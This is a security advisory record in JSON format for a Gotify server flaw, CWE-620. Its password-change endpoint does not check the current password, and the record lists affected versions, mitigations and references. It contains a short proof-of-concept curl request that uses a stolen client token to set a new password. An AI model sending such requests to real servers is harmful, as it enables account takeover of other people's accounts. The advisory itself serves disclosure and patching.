{"id":"GHSA-3hcj-9m7p-wwm9","summary":"Gotify: Insufficiently Protected Password Change endpoint","details":"The password change endpoint (`POST /current/user/password`) in Gotify versions \u003c= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.\n\n## PoC\n\n```bash\n# Attacker has obtained a client token\n# No prior password knowledge required\nSTOLEN_TOKEN=\"Cxxxxxxxxxx\"\n\ncurl -X POST \"http://gotify-host/current/user/password?token=${STOLEN_TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"pass\":\"attacker_controls_this\"}'\n# Expected response:\n# HTTP/1.1 200 OK\n```\n\n## Mitigation\n\n- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the  password now requires re-authenticating with the account password, or\n- Restrict access to the state-changing endpoints under `/user` and  `/current/user` to trusted networks.","aliases":["CVE-2026-102603"],"modified":"2026-10-15T20:30:04.547905333Z","published":"2026-10-15T20:15:38Z","database_specific":{"nvd_published_at":"2026-10-13T15:17:30Z","cwe_ids":["CWE-620"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-15T20:15:38Z"},"references":[{"type":"WEB","url":"https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102603"},{"type":"WEB","url":"https://github.com/gotify/server/pull/952"},{"type":"WEB","url":"https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9"},{"type":"PACKAGE","url":"https://github.com/gotify/server"},{"type":"WEB","url":"https://github.com/gotify/server/releases/tag/v3.0.0"}],"affected":[{"package":{"name":"github.com/gotify/server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/gotify/server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.9.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json"}},{"package":{"name":"github.com/gotify/server/v3","ecosystem":"Go","purl":"pkg:golang/github.com/gotify/server/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]}